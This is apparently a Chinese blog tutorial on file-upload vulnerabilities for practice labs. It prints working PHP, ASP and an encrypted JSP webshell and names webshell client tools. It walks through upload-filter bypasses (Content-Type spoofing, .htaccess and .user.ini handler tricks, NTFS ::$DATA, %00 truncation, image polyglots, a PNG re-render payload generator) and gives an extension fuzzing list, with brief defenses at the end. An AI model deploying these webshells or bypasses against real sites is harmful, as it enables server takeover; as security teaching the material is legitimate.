文件上传漏洞概念

前言

今天,跟大家分享文件上传相关理论概念,大家有兴趣可以自己动手去打一打靶场增长经验,熟能生巧。或许有一天你们是因为,打靶场的时候不会了,在网上搜答案看到我这篇文章,能不能请你们闲下来有时间了好好看看,少混日子,真的学点东西。

人情世情,最难讲理。因为一旦真要掰碎了讲道理,好像酒水分了家,没滋没味。所以说世间的祖荫福缘,哪怕送到了子孙手上,还是各人有各命,有些人抓得住,有些人抓不住,有人抓得多有人抓得少,而且这种事情,往往当事人在当下只会浑然不知,只能凭本心而为。--《剑来》

webshell

又称一句话木马。WebShell就是以网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。

分类(语言)

asp

<%evalrequest("pass")%>

php

<?php @eval($_POST['pass']);>

jsp

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=
(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
new
U(this.getClass().getClassLoader()).g(c.doFinal(decoder.decodeBuffer(request.get
Reader().readLine()))).newInstance().equals(pageContext);%>

客户端连接工具

蚁剑

冰蝎

哥斯拉

菜刀

文件上传漏洞

漏洞描述

文件上传漏洞是指由于程序员再开发时,未对用户上传的文件进行严格的验证和过滤,而导致用户可以上传可执行的动态脚本文件。

如常见的头像上传、文件附件上传、媒体上传等,允许用户上传文件,如果过滤不严格,恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。

原理

文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑存在缺陷

通常来说文件上传功能是没有问题的,主要是服务器如何对上传的文件如何进行处理。若WEB未对用户上传的文件进行有效的审查,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。

危害

非法用户可以上传的恶意文件控制整个网站,甚至是控制服务器,这个恶意脚本文件,又被称为webshell, 上传 webshell 后门很方便地查看服务器信息,查看目录,执行系统命令等;

攻击方法

寻找测试网站的文件上传的模块,常见分布在:头像上传、文件附件、文章编辑、资料认证、编辑器上传等位置。

通过抓取上传文件的数据包进行测试,上传后缀为asp php aspx、Jsp等格式的文件,查看文件上传响应包信息,判断是否能够直接上传,如果不能直接上传,再进行测试上传突破。

文件上传功能的作用就是将我们本地文件上传到对方服务器中进行保存,显示等操作。

文件绕过技术

绕过前端JS检测上传

方法

1. 按F12使用网页审查元素,把校验的上传后缀名文件除掉,即可上传。

2. 把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如 php 、asp、jsp 等。即可绕过上传 。

实战

选择上传的mum
查看源代码发现是前端js验证
然后f12修改js看图
  操作二
  上传允许的文件格式,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经
过了前端,所以前端校验就会失效)

就成功插入了

绕过content-Type检测

有些上传模块,会对 http 的类型头(MIME)类型进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险;

常见的MIME类型

图片文件:
PHP: Content-Type: application/octet-stream
PNG: Content-Type: image/png
JPG: Content-Type: image/jpeg
GIF: Content-Type: image/gif

实战

传文件抓包

绕过黑名单

黑名单就是服务端明确不允许上传的格式后缀:PHP、JSP、ASP、JSPX等。

绕过方式

iis
  在iis中如果ASP后缀禁止上传了,可以上传sas、cer、cdx后缀,如果网站允许.net执行可以上传ashx代
替aspx。如果网站可以执行这些脚本,通过上传该后缀文件即可获得Webshell。

apache
可以开启`application/x-httpd-php` 在配置文件中需要将`AddType application/x-httpd-php
.php .phtml .php3` 后缀名为phtml、php3均可以当做php文件解析。有的apache版本就会默认开启,
但是一般情况都是网站管理员错误配置后造成的。

配置文件小皮

里面的httpd-conf

AddType application/x-httpd-php .php .phtml

取消注释,也可以添加.php3 记得重启小皮

实战

就是将文件后缀修改成上述所说就ok

.htaccess绕过

.htaccess文件是Apache服务器中的一个配置文件,提供了针对目录改变配置的方法.通过htaccess文件可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

重要功能:可以指定某个文件当作php文件执行(拿php解析器解析)

前提条件:Apache开启rewrite模块。

要 htaccess 的规则生效 则需要在 apache 开启 rewrite 重写模块,因为 apache 是多数都开启这个模

块,所以规则一般都生效;

实战

编写.htaccess文件,内容解释:将1.jpg文件解析成php文件

.htaccess

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

1.jpg
<?php
 phpinfo
?>

过程就是先上传.htaccess文件 再上传1.jpg

.user.ini绕过

.user.ini文件介绍

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

.user.ini文件内容

auto_prepend_file = "x.jpg" 表示加载第一个PHP代码之前执行指示(包含的)文件
auto_append_file = "x.jpg" 表示加载第一个PHP代码之后执行指示(包含的)文件

实战

跟上面哪个类似 先上传 user 再上传x.jpg

需要注意 apache的版本 不行就调一下

我附带张截图(记得修改url 变成 readme.php)

大小写绕过

其实也就是有些程序编写上传点过滤时会过滤常见后缀(黑名单),如php/asp/aspx/jsp/phtml等,如果为对上传后缀进行小写转换,那么我们即可通过文件后缀名大小写方式进行绕过上传webshell。(应用于Windows操作系统)

方法就是抓包,将后缀大写

windows特性绕过

利用window对于文件和文件名的限制,以上字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除

[" . "] 点绕过[" "] 空格绕过

在Windows操作系统命名时,.是不允许写入到结尾得,windows会自动将其删除掉。

NTFS流::$DATA绕过

::$DATA 表示文件的默认数据流,在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当 成文件流处理,上传时将一个有害文件的文件名改为 evil.php::$DATA 。此时,Windows 将会忽略后缀 .php ,而使用 ::$DATA 后缀,从而绕过服务器端的文件类型检测,成功上传恶意文件到服务器端

实战

1. 上传文件,修改为php后缀加上 ::$DATA

2. 访问,将后面::$DATA去掉

双写后缀名绕过

同样是黑名单过滤。str_ireplace 对上传的后缀名是黑名单内的字符串转换成空;

在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传;

附自玩图

目录可控%00截断绕过

解释

文件上传 %00 绕过是指攻击者在文件上传时,在文件名后面添加 %00 字符,从而绕过服务器端的文件类型、拓展名以及大小限制,成功上传恶意文件到服务器端,从而进行攻击的一种技巧。

00截断时操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以0x00作为字符串的结尾,操作系统在识别字符串时,当读取道0x00字符时,就认为读取到了一个字符串的结束符号,因此,我们可以通过修改数据包,插入0x00字符的方式,达到字符串截断的目的。00截断通常时绕过白名单的限制。

条件

php版本小于5.3.29

magic_quotes_gpc=Off

实战

首先截断攻击,抓包上传将%00 自动截断后门内容例如 123.php%00 变成 123.php

第二种

这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。所以会产生安全漏洞;

POST 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名;

然后16进制编码

图片马文件包含绕过

该关卡又称文件头检测绕过。

文件头代表了文件是那种类型,我们上传的文件内容如果是只有php代码,那么程序在对我们的文件头部进行检查时,如果发现没有允许上传文件类型的文件头,就会对我们上传文件进行拦截。

什么是文件头?

文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分,不同得文件,文件头也不同,如:JPG/PNG

常见的文件头:
○ JPEG (jpg),文件头:FFD8FF
○ PNG (png),文件头:89504E47
○ GIF (gif),文件头:47494638
○ TIFF (tif),文件头:49492A00
○ Windows Bitmap (bmp),文件头:424D

实战

制作图片一句话,使用 copy 1.gif/b+123.php/a shell.php 将 php 文件附加在 jpg 图片上,直接上传即可;

/b代表以二进制编码打开文件,/a代表以ASCII码编码打开文件

靶场的这关可以通过文件包含,包含执行图片马,实战中,上传图片马需要找到文件包含漏洞,打组合

拳;

还有一种方法是直接在一句话木马前面加上图片的文件头,最常用的: GIF89a

图片二次渲染

介绍

我们上传文件后,网站会对图片进行二次处理包括(格式、分辨率等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片,更加(标准化)并放到网站对应的标签进行显示。

比如我们上传一个图片马,如果程序进行二次渲染很有可能将php代码给更改掉

上传图片马 -> 程序渲染 -> 渲染后图片马中一句话木马消失变成了正常的图片。

如何判断是否为二次渲染。

1. 判断上传前和上传后的文件大小及内容

2. 判断上传后的文件返回数据包内容

jpg渲染

上传jpg图片马 包含木马,发现图片马并未解析php代码

原因:对比原图查看渲染,对比发现渲染后php代码消失了

shell.jpg为原图,11111.jpg为渲染后的图,进行对比,找相同处,覆盖字符串,填写一句话后门,这样在程序进行渲染后也可以保留我们的一句话木马内容。

绕过方式

1. 手工

对比渲染前和渲染后图片内容,找到相同处进行插入(也就是未经渲染的位置,需要工具对比,而且有几率不成功)。

2. 工具

php.exe payload.php test.php

png渲染

保存为php文件,会生成1.png图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
查看图片内容,查看php代码。

该关卡只允许上传图片后缀,上传过后进过二次渲染,渲染过后给新图片指定文件名,无法上传其他解

析名称,需要通过文件包含漏洞。

通用检测方法

判断是否为黑白名单,如果是白名单,寻找可控参数。如果是黑名单禁止上传, 可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本

.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess

使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交;

文件上传的防御方法

服务器端使用白名单防御;

修复 web 中间件的漏洞;

禁止客户端存在可控参数;

存放文件目录禁止脚本执行;

限制后缀名;

一定要设置图片格式 jpg、gif 、 png 文件名随机的,不可预测;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值